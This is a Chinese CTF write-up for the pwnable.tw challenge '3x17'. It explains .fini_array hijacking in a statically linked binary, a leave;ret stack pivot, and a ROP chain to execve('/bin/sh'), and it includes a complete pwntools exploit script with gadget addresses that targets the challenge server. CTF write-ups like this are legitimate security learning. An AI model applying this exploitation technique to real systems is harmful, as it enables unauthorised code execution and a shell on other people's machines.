pwnable.tw 3x17 经验总结

这题涨姿势了, 学到了不少东西, 对静态链接的题目也有了一点了解

参考的wp:
和媳妇一起学pwn之3x17不得不说这名字真的sao… , 不过文章写的很好

分析:
检查程序开了什么保护
在这里插入图片描述
由于程序是静态编译的, 把符号表给剥离了, 所以无法直接找到main函数, 可以先观察程序的入口点start
在这里插入图片描述
在地址0x0000000000401A74处调用了一个函数, 而这个函数其实就是libc_start_main函数
libc_start_main 函数原型

    int __libc_start_main(int (*main) (int, char * *, char * *), /* address of main function */
                                       int argc, /* number of command line args */
                                       char * * ubp_av, /* command line arg array */
                                       void (*init) (void), /* address of init function */
                                       void (*fini) (void), /* address of fini function */
                                       void (*rtld_fini) (void), /* address of dynamic linker fini function */
                                       void (* stack_end) /* end of the stack address */
);

写的通俗一点就是:
__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);

init: main调用前的初始化工作
fini: main结束后的收尾工作
rtld_fini: 和动态加载有关的收尾工作, rtld是 runtime loader的缩写
最后的stack_end标明了栈底的地址, 即最高的栈地址

程序从start开始, 之后进入__libc_start_main函数中, 再进入init函数进行初始化工作, 初始化完成后调用main函数, main函数结束后进入fini函数进行有关的收尾工作, 那么程序的执行流程为
_start -> __libc_start_main -> init -> main -> fini …

在init和fini函数中分别存在数组.init_array 与  .fini_array
进入init后会依次调用
.init_array[0]
.init_array[1]
...
.init_array[n]

之后调用main函数
main函数结束后
进入fini函数中依次调用

.fini_array[n]
.fini_array[n-1]
...
.fini_array[0]

了解了程序的执行流程, 那么可以研究如何劫持程序流程来达到多次写的目的。由于main函数结束后进入libc_csu_fini函数中倒序调用.fini_array数组中的函数, 所以可以考虑将.fini_array[1] 覆盖成main 函数的地址, .fini_array[0] 覆盖成libc_csu_fini 的地址
这样程序的执行流程就变成了
main -> .fini_array[1] (main) -> .fini_array[0] (libc_csu_fini)
形成了一个循环, 会无限调用main函数, 虽然只有在变量byte_4B9330 为1时才能进行写操作, 不过经过多次循环会造成溢出会回绕到 1

在有了多次写操作后, 就得考虑写什么, 程序中没有后门, 但是可以rop来getshell, 由于需要在栈上构造参数, 所以得先进行栈迁移, 把栈迁移到可以写入数据的区域

栈迁移
这题的栈迁移我觉得挺巧妙的, 我经验太少比较难想到怎么迁移,谈到栈迁移脑子里蹦出来的就是leave ret,一开始是把leaveret的地址放入.fini_array[1] 中, 随后调试时发现会进行两次leaveret操作
第一次的leaveret操作
-> mov rsp, rbp
rsp = 0x4B40F0
-> pop rbp
rsp = 0x4B40F8(这时又指向leaveret, 随后又会执行一次leave ret操作, 操作失败
-> ret
rsp = 0x4F4100

所以要成功进行栈迁移得执行完leave ret操作后再执行一次ret操作, 而如果把.fini_array[1] 覆盖成只有ret指令也不行, 这样连leaveret指令执行不到就出错了, 参考了上面的wp里的栈迁移方法, 把.fini_array[1] 覆盖成main 的地址, .fini_array[0] 覆盖成leaveret的地址就可以完成栈迁移, main函数执行完后不会改变原来栈上的内容所以可以在rsp为0x4B4100的时候执行ret指令从而进行rop

EXP:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0

if debug == 0:
	p = process("./3x17")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10105)

libc_scu_fini = 0x402960
init = 0x401000
fini = 0x48E32C
fini_array1 = 0x4B40F8
fini_array0 = 0x4B40F0
main = 0x401B6D

p.sendlineafter("addr:", str(fini_array0))
p.sendlineafter("data:", p64(libc_scu_fini) + p64(main))

rop = 0x4B4100
#0x0000000000401696 : pop rdi ; ret
poprdi = 0x401696
#0x0000000000406c30 : pop rsi ; ret
poprsi = 0x406c30
#0x0000000000446e35 : pop rdx ; ret
poprdx = 0x446e35
#0x000000000041e4af : pop rax ; ret
poprax = 0x41e4af
#0x00000000004022b4 : syscall
syscall = 0x4022b4
leaveret = 0x401C4B
main = 0x401B6D

def write(addr, pxr, para = 0):
	p.sendlineafter("addr:", str(addr))
	p.sendlineafter("data:", p64(pxr) + p64(para))

write(rop, poprdi, rop + 0x48)

write(rop + 0x10, poprsi, 0)

write(rop + 0x20, poprdx, 0)

write(rop + 0x30, poprax, 0x3b)

write(rop + 0x40, syscall)

p.sendlineafter("addr:", str(rop + 0x48))
p.sendlineafter("data:", '/bin/sh\0')

p.sendlineafter("addr:", str(fini_array0))
raw_input()
p.sendafter("data:", p64(leaveret))

p.interactive()

结果:
在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值